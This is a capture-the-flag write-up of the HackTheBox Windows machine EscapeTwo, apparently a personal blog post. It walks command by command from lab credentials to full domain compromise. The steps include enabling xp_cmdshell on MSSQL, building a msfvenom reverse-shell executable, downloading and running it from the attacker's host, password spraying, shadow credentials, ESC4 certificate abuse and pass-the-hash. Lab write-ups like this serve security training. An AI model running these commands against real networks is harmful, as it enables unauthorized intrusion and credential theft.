HTB EscapeTwo - Writeup

24 May, 2025

13 min read

Difficulty: 🟢 EasyOS: WindowsCTF: HackTheBox

In case you want to contact me, you can find me on my LinkedIn profile.

Box Overview

EscapeTwo HTB Overview Image

EscapeTwo is an easy Windows machine focused on a full domain compromise. We start with low-privileged user credentials and find a corrupted Excel file on a share. By manipulating its bytes, we uncover new credentials, which we then spray across the domain to gain initial MSSQL access. Further enumeration within SQL yields more credentials, leading to WinRM access. Deeper domain analysis reveals a user with write owner rights over an ADCS managing account. This allows us to exploit a misconfiguration in Active Directory Certificate Services, ultimately recovering the Administrator hash and achieving a complete domain compromise.

In this box, as it's common in real life Windows pentests, we'll start with credentials for the following account: rose / KxEPkKe6R8su

Enumeration

nmap

As always, we start our scan with nmap and check for the services running in the host:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-22 20:35 EDT
Nmap scan report for 10.129.12.88
Host is up (0.17s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-23 00:35:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   10.129.12.88:1433:
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-05-23T00:32:07
|_Not valid after:  2055-05-23T00:32:07
| ms-sql-ntlm-info:
|   10.129.12.88:1433:
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-05-23T00:37:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
49726/tcp open  msrpc         Microsoft Windows RPC
49745/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-05-23T00:36:43
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.24 seconds

Enumerating SMB - Port 445

Given the credentials we have, we verify if we are able to connect to SMB:

874anthony@~: crackmapexec smb sequel.htb -u 'rose' -p 'KxEPkKe6R8su'

SMB         sequel.htb      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         sequel.htb      445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su

We can. Now, we enumerate the shares available to that user with the --shares option:

874anthony@~: crackmapexec smb sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --shares

SMB         sequel.htb      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         sequel.htb      445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         sequel.htb      445    DC01             [+] Enumerated shares
SMB         sequel.htb      445    DC01             Share           Permissions     Remark
SMB         sequel.htb      445    DC01             -----           -----------     ------
SMB         sequel.htb      445    DC01             Accounting Department READ
SMB         sequel.htb      445    DC01             ADMIN$                          Remote Admin
SMB         sequel.htb      445    DC01             C$                              Default share
SMB         sequel.htb      445    DC01             IPC$            READ            Remote IPC
SMB         sequel.htb      445    DC01             NETLOGON        READ            Logon server share
SMB         sequel.htb      445    DC01             SYSVOL          READ            Logon server share
SMB         sequel.htb      445    DC01             Users           READ

We then connect with smbclient tool and authenticate with these credentials to both shares and download the files:

874anthony@~: smbclient "//sequel.htb/Accounting Department" -U rose%KxEPkKe6R8su

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun  9 06:52:21 2024
  ..                                  D        0  Sun Jun  9 06:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 06:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 06:52:07 2024

                6367231 blocks of size 4096. 858859 blocks available
smb: \>

Convert files to .csv for LibreOffice (Optional)

This step is totally optional, but the files seems to be corrupt (at least in my case). I tried to open them in Google Sheets and LibreOffice and I couldn't. So for this task, I'll convert them to .csv format and open them again:

First, I'll install the xlsx2csv package from Python:

874anthony@~: pip install xlsx2csv

After that, I could just run the command but I got the following error:

874anthony@~: xlsx2csv accounts.xlsx accounts_2.csv

File "/home/kali/.pyenv/versions/3.12.0/lib/python3.12/zipfile/__init__.py", line 1607, in open
    raise BadZipFile("Bad magic number for file header")
zipfile.BadZipFile: Bad magic number for file header

It seems that the corresponding file header is not ZIP. I'll modify it using the hexedit tool (sudo apt install hexedit)

874anthony@~: hexedit accounts.xlsx

This is the output, I'll modify the first 4 bytes to 50 4B 03 04 , and I'll press Ctrl + X to save and exit

hex-edit.png

After converting it again:

874anthony@~: xlsx2csv accounts.xlsx accounts_2.csv

I can open the Excel file in LibreOffice!

credentials-libreoffice.png

I got some credentials. I'll note them down.

Shell as sql_svc

First, I'll run crackmapexec to see more users in the host with the smb module

874anthony@~: crackmapexec smb sequel.htb -u rose -p 'KxEPkKe6R8su' --users

SMB         sequel.htb      445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB         sequel.htb      445    DC01             [+] sequel.htb\rose:KxEPkKe6R8su
SMB         sequel.htb      445    DC01             [+] Enumerated domain user(s)
SMB         sequel.htb      445    DC01             sequel.htb\ca_svc                         badpwdcount: 5 desc:
SMB         sequel.htb      445    DC01             sequel.htb\rose                           badpwdcount: 16 desc:
SMB         sequel.htb      445    DC01             sequel.htb\sql_svc                        badpwdcount: 5 desc:
SMB         sequel.htb      445    DC01             sequel.htb\oscar                          badpwdcount: 3 desc:
SMB         sequel.htb      445    DC01             sequel.htb\ryan                           badpwdcount: 5 desc:
SMB         sequel.htb      445    DC01             sequel.htb\michael                        badpwdcount: 1 desc:
SMB         sequel.htb      445    DC01             sequel.htb\krbtgt                         badpwdcount: 1 desc: Key Distribution Center Service Account
SMB         sequel.htb      445    DC01             sequel.htb\Guest                          badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB         sequel.htb      445    DC01             sequel.htb\Administrator                  badpwdcount: 0 desc: Built-in account for administering the computer/domain

I see more users than those one listed in the Excel file, just for sanity check I'll also note them down.

Given that we have a sa user and a password (and the port 1443), it's indicating that we can try those credentials for the MSSQL instance:

874anthony@~: impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@sequel.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa  dbo@master)>

Now, we are going to try the xp_cmdshell built-in feature that MS SQL offers us, there's this nice Impacket MSSQL cheat sheet commands and this MSSQL for Pentesters blog post to understand the attack and other possible paths. Given this, we are going to try and see if it's available:

SQL (sa  dbo@master)> EXEC xp_cmdshell "whoami"

ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

It's not, we can try and run the following commands to enable it (given we are the sa user, it's most probably we are the sysadmin, hence we can do it):

SQL (sa  dbo@master)> EXEC sp_configure 'show advanced options', 1; # We enable advanced options.

INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; # We enable the feature to execute commands

INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (sa  dbo@master)> RECONFIGURE # Reconfigure to install these commands
SQL (sa  dbo@master)> EXEC xp_cmdshell "whoami"

output
--------------
sequel\sql_svc

NULL

SQL (sa  dbo@master)>

Now, all we have left is to give us back a reverse shell, first, we are going to create a rev.exe executable with msfvenom module:

874anthony@~: msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.167 LPORT=9001 -f exe -o rev.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe

We then download it and execute it from the mssql instance with xp_cmdshell and execute it:

874anthony@~: python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.12.88 - - [22/May/2025 21:00:27] "GET /rev.exe HTTP/1.1" 200 -

In the instance:

SQL (sa  dbo@master)> exec xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.167/rev.exe -OutFile C:\Windows\Temp\rev.exe"'
output
------
NULL

SQL (sa  dbo@master)> exec xp_cmdshell "C:\Windows\Temp\rev.exe"

And we get a connection:

874anthony@~: nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.167] from (UNKNOWN) [10.129.12.88] 55188
Microsoft Windows [Version 10.0.17763.6659]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
sequel\sql_svc

Shell as ryan

Same as Escape (0xdf write-up) , we start by listing the installation of the MSSQL service in this Windows box (SQL2019 folder):

C:\>dir

 Volume in drive C has no label.
 Volume Serial Number is 3705-289D

 Directory of C:\

11/05/2022  12:03 PM    <DIR>          PerfLogs
01/04/2025  08:11 AM    <DIR>          Program Files
06/09/2024  08:37 AM    <DIR>          Program Files (x86)
06/08/2024  03:07 PM    <DIR>          SQL2019
06/09/2024  06:42 AM    <DIR>          Users
01/04/2025  09:10 AM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)   3,799,482,368 bytes free

We see a new password in the configuration files, we are going to add that to our already collected passwords from our previous phases:

C:\SQL2019\ExpressAdv_ENU>type sql-Configuration.INI

[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

With that in mind, we can target a password spraying attack with this new password with possible users using the winrm protocol and see if we can access a user:

crackmapexec winrm sequel.htb -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

[...SNIP...]
WINRM       sequel.htb      5985   DC01             [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

And we get a hit for the ryan user! We use those credentials to authenticate with evil-winrm and get the user flag:

*Evil-WinRM* PS C:\Users\ryan\Documents>

*Evil-WinRM* PS C:\Users\ryan\Desktop> type user.txt
a68c772170d12903*************

Shell as Administrator

We run the bloodhound collector with the Ryan credentials, and put the data into bloodhound. In bloodhound we notice our ryan user (marked as owned). Has WriteOwner permissions over ca_svc, who is MemberOf the Cert Publishers group who has full control over managing the certificates

Certificate Enumeration

After discovering I had WriteOwner permissions on ca_svc, I enumerated the available certificates:

874anthony@~: certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.129.12.88

I found the following vulnerable template:

{
"Template Name": "DunderMifflinAuthentication",
"Enabled": true,
"Permissions": {
  "Enrollment Rights": ["Domain Admins", "Enterprise Admins"],
  "Full Control Principals": ["Cert Publishers"]
}

Since ca_svc is in the Cert Publishers group, controlling that account would allow me to abuse the template.

Taking FullAccess on ca_svc account

I used bloodyAD to make ryan the owner of ca_svc:

874anthony@~: bloodyAD --host 10.129.12.88 -d 'sequel.htb' -u ryan -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

Ownership alone isn't enough. I granted ryan FullControl over ca_svc using impacket-dacledit:

874anthony@~: impacket-dacledit -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'

Why FullControl? This is necessary to perform operations like setting SPNs, writing shadow credentials, or modifying sensitive attributes in ca_svc.

I used certipy to add Key Credential Link data (aka shadow credentials) to ca_svc:

874anthony@~: certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.129.12.88

This let me impersonate ca_svc via Kerberos (without resetting its password), by generating a .ccache and .pfx.

Abuse ESC4 to Request Certificate as Administrator

Using the ca_svc.ccache shadow credentials, I validated access to the vulnerable template:

874anthony@~: KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -dc-ip 10.129.12.88 -target dc01.sequel.htb

Then, I requested a certificate impersonating the Administrator:

874anthony@~: certipy-ad req -u ca_svc -hashes 3b181b914e7a9d5508ea1e20bc2b7fce \
  -ca sequel-DC01-CA -target sequel.htb \
  -dc-ip 10.129.12.88 -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb -ns 10.129.12.88 -dns 10.129.12.88

I then authenticated with the certificate:

874anthony@~: certipy-ad auth -pfx administrator_10.pfx -domain sequel.htb

This gave me the NT hash for the Administrator. Now I can just "Pass The Hash"

874anthony@~: evil-winrm -i sequel.htb -u administrator -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

And we can read the root flag:

*Evil-WinRM* PS C:\Users\Administrator\Desktop>

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
4f6f68c6523359ad****************

Additional resources

What is ESC4?

ESC4 refers to a class of misconfigurations in Active Directory Certificate Services where:

  • A low-privileged user controls an account that has FullControl or Enroll rights over a vulnerable certificate template.
  • The template allows client authentication, doesn't require manager approval, and doesn't restrict subject supply tightly.

If the attacker can control a Cert Publisher, they can enroll certificates for any user, including domain admins.

If you control a Cert Publisher → and the template is weak → you can impersonate anyone.


What are Shadow Credentials?

Shadow credentials are a technique to silently register a key credential (like a smartcard or certificate) to an account by modifying its msDS-KeyCredentialLink attribute. They do not require resetting the password.

Once added, the attacker can authenticate via Kerberos as that user using a self-issued certificate. Certipy automates this process with (an example):

certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -dc-ip 10.129.12.88

This creates .ccache and .pfx files to impersonate the target account.

References

© 2025 Anthony Acosta | Based on Carlos Azaustre | Made with 🖥️ and 💜